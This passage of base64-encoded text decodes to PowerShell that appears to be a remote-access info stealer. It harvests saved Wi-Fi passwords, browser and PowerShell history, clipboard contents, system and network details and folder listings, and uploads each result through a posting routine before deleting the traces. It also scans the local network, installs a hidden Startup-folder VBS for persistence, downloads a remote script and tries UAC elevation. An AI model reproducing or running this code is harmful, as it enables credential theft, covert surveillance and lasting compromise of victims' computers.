uU3lzdGVtTG9jYWxlOyRzeXN0ZW1MYW5ndWFnZSA9ICRzeXN0ZW1Mb2NhbGUuTmFtZQ0KJHVzZXJMYW5ndWFnZUxpc3QgPSBHZXQtV2luVXNlckxhbmd1YWdlTGlzdDska2V5Ym9hcmRMYXlvdXRJRCA9ICR1c2VyTGFuZ3VhZ2VMaXN0WzBdLklucHV0TWV0aG9kVGlwc1swXQ0KJG91dHNzaWQ9IiI7JGE9MDskd3M9KG5ldHNoIHdsYW4gc2hvdyBwcm9maWxlcykgLXJlcGxhY2UgIi4qOlxzKyI7Zm9yZWFjaCgkcyBpbiAkd3Mpew0KaWYoJGEgLWd0IDEgLUFuZCAkcyAtTm90TWF0Y2ggIiBwb2xpY3kgIiAtQW5kICRzIC1uZSAiVXNlciBwcm9maWxlcyIgLUFuZCAkcyAtTm90TWF0Y2ggIi0tLS0tIiAtQW5kICRzIC1Ob3RNYXRjaCAiPE5vbmU+IiAtQW5kICRzLmxlbmd0aCAtZ3QgNSl7JHNzaWQ9JHMuVHJpbSgpO2lmKCRzIC1NYXRjaCAiOiIpeyRzc2lkPSRzLlNwbGl0KCI6IilbMV0uVHJpbSgpfQ0KJHB3PShuZXRzaCB3bGFuIHNob3cgcHJvZmlsZXMgbmFtZT0kc3NpZCBrZXk9Y2xlYXIpOyRwYXNzPSJOb25lIjtmb3JlYWNoKCRwIGluICRwdyl7aWYoJHAgLU1hdGNoICJLZXkgQ29udGVudCIpeyRwYXNzPSRwLlNwbGl0KCI6IilbMV0uVHJpbSgpOyRvdXRzc2lkKz0iU1NJRDogJHNzaWQgOiBQYXNzd29yZDogJHBhc3NgbiJ9fX0kYSsrO30NCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU3lzdGVtSW5mby50eHQiDQoiVVNFUiBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1gbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSQ0KIiRmdWxsTmFtZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiRW1haWwgQWRkcmVzcyAgICAgIDogJGVtYWlsIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDb21wdXRlciBOYW1lICAgICAgOiAkZW52OkNPTVBVVEVSTkFNRSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTGFuZ3VhZ2UgICAgICAgICAgIDogJHN5c3RlbUxhbmd1YWdlIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJLZXlib2FyZCBMYXlvdXQgICAgOiAka2V5Ym9hcmRMYXlvdXRJRGBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJPUyBJbmZvICAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlck9zfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJORVRXT1JLIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PWBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQdWJsaWMgSVAgICAgICAgICAgOiAkY29tcHV0ZXJQdWJJUGBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJ2dnYgIFNhdmVkIE5ldHdvcmtzICB2dnYgYG4kb3V0c3NpZCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTG9jYWwgSVAgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJJUHwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQWRhcHRlcnMgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkbmV0d29ya3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTmVhcmJ5LVdpRmkgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkTmVhcmJ5V2lmaXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEFSRFdBUkUgSU5GTyBgbiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09YG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJJT1MgSW5mbyAgICAgICAgICA6ICRjb21wdXRlckJJT1NgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoidnZ2ICBSQU0gSW5mbyAgdnZ2IGBuVG90YWwgUkFNIDogJGNvbXB1dGVyUmFtQ2FwYWNpdHkiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlclJhbXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQ1BVIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJDcHV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkdyYXBoaWNzIEluZm8gICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHZpZGVvY2FyZHwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEREIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkSGRkc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiVVNCIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkQ09NRGV2aWNlc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gU29mdHdhcmUtSW5mb3sNCiRwcm9jZXNzPUdldC1XbWlPYmplY3Qgd2luMzJfcHJvY2VzcyB8IHNlbGVjdCBIYW5kbGUsIFByb2Nlc3NOYW1lLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUNCiRzZXJ2aWNlPUdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1NlcnZpY2UgfCBzZWxlY3QgU3RhdGUsTmFtZSxTdGFydE5hbWUsUGF0aE5hbWUgfCBXaGVyZS1PYmplY3QgeyRfLlN0YXRlIC1saWtlICdSdW5uaW5nJ30NCiRzb2Z0d2FyZT1HZXQtSXRlbVByb3BlcnR5IEhLTE06XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFVuaW5zdGFsbFwqIHwgd2hlcmUgeyAkXy5EaXNwbGF5TmFtZSAtbm90bGlrZSAkbnVsbCB9IHwgIFNlbGVjdC1PYmplY3QgRGlzcGxheU5hbWUsIERpc3BsYXlWZXJzaW9uLCBQdWJsaXNoZXIsIEluc3RhbGxEYXRlIHwgU29ydC1PYmplY3QgRGlzcGxheU5hbWUgfCBGb3JtYXQtVGFibGUgLUF1dG9TaXplDQokZHJpdmVycz1HZXQtV21pT2JqZWN0IFdpbjMyX1BuUFNpZ25lZERyaXZlcnwgd2hlcmUgeyAkXy5EZXZpY2VOYW1lIC1ub3RsaWtlICRudWxsIH0gfCBzZWxlY3QgRGV2aWNlTmFtZSwgRnJpZW5kbHlOYW1lLCBEcml2ZXJQcm92aWRlck5hbWUsIERyaXZlclZlcnNpb24NCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU29mdHdhcmVJbmZvLnR4dCINCiJTT0ZUV0FSRSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkluc3RhbGxlZCBTb2Z0d2FyZSBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNvZnR3YXJlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQcm9jZXNzZXMgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRwcm9jZXNzfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRzZXJ2aWNlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNClBvc3QtRmlsZSA7cm0gLVBhdGggJEZpbGVQYXRoIC1Gb3JjZQ0KfQ0KDQpGdW5jdGlvbiBIaXN0b3J5LUluZm97DQokUmVnZXggPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxHb29nbGVcQ2hyb21lXFVzZXIgRGF0YVxEZWZhdWx0XEhpc3RvcnkiDQokVmFsdWUgPSBHZXQtQ29udGVudCAtUGF0aCAkUGF0aCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4IHwlIHsoJF8uTWF0Y2hlcykuVmFsdWV9IHxTb3J0IC1VbmlxdWUNCiRWYWx1ZSB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRSZWdleDIgPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoZWQgPSAiJEVudjpVU0VSUFJPRklMRVxBcHBEYXRhXExvY2FsXE1pY3Jvc29mdC9FZGdlL1VzZXIgRGF0YS9EZWZhdWx0L0hpc3RvcnkiDQokVmFsdWUyID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGhlZCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4MiB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUyIHwgRm9yRWFjaC1PYmplY3QgeyRLZXkgPSAkXztpZiAoJEtleSAtbWF0Y2ggJFNlYXJjaCl7TmV3LU9iamVjdCAtVHlwZU5hbWUgUFNPYmplY3QgLVByb3BlcnR5IEB7VXNlciA9ICRlbnY6VXNlck5hbWU7QnJvd3NlciA9ICdjaHJvbWUnO0RhdGFUeXBlID0gJ2hpc3RvcnknO0RhdGEgPSAkX319fQ0KJHBzaGlzdCA9ICIkZW52OlVTRVJQUk9GSUxFXEFwcERhdGFcUm9hbWluZ1xNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXFBTUmVhZExpbmVcQ29uc29sZUhvc3RfaGlzdG9yeS50eHQiOyRwc2hpc3RvcnkgPSBHZXQtQ29udGVudCAkcHNoaXN0IC1yYXcNCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcSGlzdG9yeS50eHQiDQoiSElTVE9SWSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkNsaXBib2FyZCAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooR2V0LUNsaXBib2FyZCB8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJyb3dzZXIgSGlzdG9yeSAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJFZhbHVlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkVmFsdWUyfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQb3dlcnNoZWxsIEhpc3RvcnkgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRwc2hpc3Rvcnl8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KUG9zdC1GaWxlIDtybSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIEVudW1lcmF0ZS1MQU57DQpwYXJhbSAoW3N0cmluZ10kUHJlZml4KQ0KaWYgKCRQcmVmaXguTGVuZ3RoIC1lcSAwKXtXcml0ZS1PdXRwdXQgIlVzZSAtcHJlZml4IHRvIGRlZmluZSB0aGUgZmlyc3QgMyBwYXJ0cyBvZiBhbiBJUCBBZGRyZXNzIGVnLiBFbnVtZXJhdGUtTEFOIC1wcmVmaXggMTkyLjE2OC4xIjtzbGVlcCAxIDtyZXR1cm59DQokRmlsZU91dCA9ICIkZW52OnRlbXBcQ29tcHV0ZXJzLmNzdiINCjEuLjI1NSB8IEZvckVhY2gtT2JqZWN0IHsNCiAgICAkaXBBZGRyZXNzID0gIiRQcmVmaXguJF8iDQogICAgU3RhcnQtUHJvY2VzcyAtV2luZG93U3R5bGUgSGlkZGVuIHBpbmcuZXhlIC1Bcmd1bWVudExpc3QgIi1uIDEgLWwgMCAtZiAtaSAyIC13IDEwMCAtNCAkaXBBZGRyZXNzIg0KICAgIH0NCiRDb21wdXRlcnMgPSAoYXJwLmV4ZSAtYSB8IFNlbGVjdC1TdHJpbmcgIiRQcmVmaXguKmR5bmFtIikgLXJlcGxhY2UgJyArJywgJywnIHwNCiAgICAgICAgICAgICBDb252ZXJ0RnJvbS1Dc3YgLUhlYWRlciBDb21wdXRlcm5hbWUsIElQdjQsIE1BQywgeCwgVmVuZG9yIHwNCiAgICAgICAgICAgICBTZWxlY3QtT2JqZWN0IElQdjQsIE1BQw0KJENvbXB1dGVycyB8IEV4cG9ydC1Dc3YgJEZpbGVPdXQgLU5vVHlwZUluZm9ybWF0aW9uDQokZGF0YSA9IEltcG9ydC1Dc3YgJEZpbGVPdXQNCiRkYXRhIHwgRm9yRWFjaC1PYmplY3Qgew0KICAgICRtYWMgPSAkXy4nTUFDJw0KICAgICRhcGlVcmwgPSAiaHR0cHM6Ly9hcGkubWFjdmVuZG9ycy5jb20vJG1hYyINCiAgICAkbWFudWZhY3R1cmVyID0gKEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCkuVHJpbSgpDQogICAgU3RhcnQtU2xlZXAgLVNlY29uZHMgMQ0KICAgICRfIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIm1hbnVmYWN0dXJlciIgLVZhbHVlICRtYW51ZmFjdHVyZXIgLUZvcmNlDQogICAgfQ0KJGRhdGEgfCBFeHBvcnQtQ3N2ICRGaWxlT3V0IC1Ob1R5cGVJbmZvcm1hdGlvbg0KJGRhdGEgfCBGb3JFYWNoLU9iamVjdCB7DQogICAgdHJ5IHsNCiAgICAgICAgJGlwID0gJF8uJ0lQdjQnDQogICAgICAgICRob3N0bmFtZSA9IChbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0RW50cnkoJGlwKSkuSG9zdE5hbWUNCiAgICAgICAgJF8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAiSG9zdG5hbWUiIC1WYWx1ZSAkaG9zdG5hbWUgLUZvcmNlDQogICAgfSANCiAgICBjYXRjaCB7DQogICAgICAgICRfIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIkhvc3RuYW1lIiAtVmFsdWUgIkVycm9yOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIgIA0KICAgIH0NCn0NCiRkYXRhIHwgRXhwb3J0LUNzdiAkRmlsZU91dCAtTm9UeXBlSW5mb3JtYXRpb24NCiRyZXN1bHRzID0gR2V0LUNvbnRlbnQgLVBhdGggJEZpbGVPdXQgLVJhdw0KV3JpdGUtT3V0cHV0ICIkcmVzdWx0cyINCnJtIC1QYXRoICRGaWxlT3V0DQp9DQoNCkZ1bmN0aW9uIEZvbGRlci1UcmVlew0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rlc2t0b3AgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRGVza3RvcC50eHQNCnRyZWUgJGVudjpVU0VSUFJPRklMRS9Eb2N1bWVudHMgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRG9jdW1lbnRzLnR4dA0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rvd25sb2FkcyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Eb3dubG9hZHMudHh0DQp0cmVlICRlbnY6QVBQREFUQSAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9BcHBkYXRhLnR4dA0KdHJlZSAkZW52OlBST0dSQU1GSUxFUyAvQSAvRiB8IE91dC1GaWxlICRlbnY6dGVtcC9Qcm9ncmFtRmlsZXMudHh0DQokRmlsZVBhdGggPSIkZW52OnRlbXAvVHJlZXNPZktub3dsZWRnZS56aXAiDQpDb21wcmVzcy1BcmNoaXZlIC1QYXRoICRlbnY6VEVNUFxEZXNrdG9wLnR4dCwgJGVudjpURU1QXERvY3VtZW50cy50eHQsICRlbnY6VEVNUFxEb3dubG9hZHMudHh0LCAkZW52OlRFTVBcQXBwZGF0YS50eHQsICRlbnY6VEVNUFxQcm9ncmFtRmlsZXMudHh0IC1EZXN0aW5hdGlvblBhdGggJEZpbGVQYXRoDQpzbGVlcCAxDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCldyaXRlLU91dHB1dCAiRG9uZS4iDQp9DQoNCkZ1bmN0aW9uIEFkZC1QZXJzaXN0YW5jZXsNCiRuZXdTY3JpcHRQYXRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KJHNjcmlwdENvbnRlbnQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLWZvcmNlDQpzbGVlcCAxDQppZiAoJG5ld1NjcmlwdFBhdGguTGVuZ3RoIC1sdCAxMDApew0KICAgICJgJHRnID0gYCIkdGdgIiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJG5ld1NjcmlwdFBhdGggLUZvcmNlDQogICAgaWB3ciAtVXJpICIkcGFyZW50IiAtT3V0RmlsZSAiJGVudjp0ZW1wL3RlbXAucHMxIg0KICAgIHNsZWVwIDENCiAgICBHZXQtQ29udGVudCAtUGF0aCAiJGVudjp0ZW1wL3RlbXAucHMxIiB8IE91dC1GaWxlICRuZXdTY3JpcHRQYXRoIC1BcHBlbmQNCiAgICB9DQokdG9iYXQgPSBAJw0KU2V0IG9ialNoZWxsID0gQ3JlYXRlT2JqZWN0KCJXU2NyaXB0LlNoZWxsIikNCm9ialNoZWxsLlJ1biAicG93ZXJzaGVsbC5leGUgLU5vbkkgLU5vUCAtRXhlYyBCeXBhc3MgLVcgSGlkZGVuIC1GaWxlICIiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFBvd2VyU2hlbGxcY29weS5wczEiIiIsIDAsIFRydWUNCidADQokcHRoID0gIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcc2VydmljZS52YnMiDQokdG9iYXQgfCBPdXQtRmlsZSAtRmlsZVBhdGggJHB0aCAtRm9yY2UNCldyaXRlLU91dHB1dCAiUGVyc2lzdGFuY2UgQWRkZWQuIg0Kcm0gLXBhdGggIiRlbnY6VEVNUFx0ZW1wLnBzMSIgLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIFJlbW92ZS1QZXJzaXN0YW5jZXsNCnJtIC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXHNlcnZpY2UudmJzIg0Kcm0gLVBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXGNvcHkucHMxIg0KV3JpdGUtT3V0cHV0ICJVbmluc3RhbGxlZC4iDQp9DQoNCkZ1bmN0aW9uIFBhdXNlLVNlc3Npb257DQokY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJHBhdXNlIFBhdXNpbmcgU2Vzc2lvbi4uIg0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCiRzY3JpcHQ6QWNjZXB0ZWRTZXNzaW9uPSIiDQp9DQoNCkZ1bmN0aW9uIElzLUFkbWluew0KSWYgKCEoW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzUHJpbmNpcGFsXVtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0lkZW50aXR5XTo6R2V0Q3VycmVudCgpKS5Jc0luUm9sZShbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NCdWlsdEluUm9sZV0nQWRtaW5pc3RyYXRvcicpKSB7DQogICAgJGNvbnRlbnRzID0gIiRjbG9zZWQgQ3VycmVudCBTZXNzaW9uIGlzIE5PVCBBZG1pbiAkY2xvc2VkIg0KICAgIFBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQogICAgfQ0KICAgIGVsc2V7DQogICAgJGNvbnRlbnRzID0gIiR0aWNrIEN1cnJlbnQgU2Vzc2lvbiBJUyBBZG1pbiAkdGljayINCiAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgIH0NCn0NCg0KRnVuY3Rpb24gQXR0ZW1wdC1FbGV2YXRlew0KJHRvYmF0ID0gQCINClNldCBXc2hTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKQ0KV1NjcmlwdC5TbGVlcCAyMDANCklmIE5vdCBXU2NyaXB0LkFyZ3VtZW50cy5OYW1lZC5FeGlzdHMoYCJlbGV2YXRlYCIpIFRoZW4NCiAgQ3JlYXRlT2JqZWN0KGAiU2hlbGwuQXBwbGljYXRpb25gIikuU2hlbGxFeGVjdXRlIFdTY3JpcHQuRnVsbE5hbWUgXw0KICAgICwgYCJgImAiYCIgJiBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICYgYCJgImAiIC9lbGV2YXRlYCIsIGAiYCIsIGAicnVuYXNgIiwgMQ0KICBXU2NyaXB0LlF1aXQNCkVuZCBJZg0KV3NoU2hlbGwuUnVuIGAicG93ZXJzaGVsbC5leGUgLU5vbkkgLU5vUCAtRXAgQnlwYXNzIC1XIE